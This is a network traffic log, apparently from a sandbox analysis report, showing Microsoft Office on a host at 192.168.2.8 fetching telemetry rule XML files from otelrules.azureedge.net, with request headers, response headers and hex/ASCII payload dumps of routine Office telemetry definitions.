2024-11-20 02:21:52 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.8	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:52 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:52 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022152Z-185f5d8b95c4bhwphC1NYCs8gw00000009m000000000wavp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:52 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.8	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:52 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:52 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:52 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: ce1429b8-d01e-005a-2df1-3a7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022152Z-185f5d8b95cgrrn8hC1NYCgwh400000009bg00000000tbv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 02:21:52 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.8	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:52 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:52 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:52 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022152Z-185f5d8b95cf7qddhC1NYC66an00000009kg00000000snwd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:52 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.8	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:52 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022152Z-185f5d8b95cwtv72hC1NYC141w00000009m0000000003a0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.8	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:53 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:53 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:53 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022153Z-r1d97b9957744xz5hC1TEB5bf8000000082000000000eqr3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:53 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.8	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:53 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:53 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:53 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022153Z-185f5d8b95cf7qddhC1NYC66an00000009n000000000k52a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:53 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.8	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:53 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:53 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:53 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022153Z-185f5d8b95cdcwrthC1NYCy5b800000009ng000000005tzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:53 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.8	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:53 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:53 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:53 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 6d560277-a01e-0050-158c-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022153Z-185f5d8b95c4bhwphC1NYCs8gw00000009m000000000waxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:53 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.8	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:53 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:53 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:53 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022153Z-185f5d8b95c4vwv8hC1NYCy4v400000009s000000000b4f5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:53 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.8	49936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:54 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:54 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022154Z-185f5d8b95c4bhwphC1NYCs8gw00000009t0000000006xxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:54 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.8	49940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:54 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:54 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022154Z-r1d97b9957789nh9hC1TEBxha800000008c000000000872h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:54 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.8	49939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
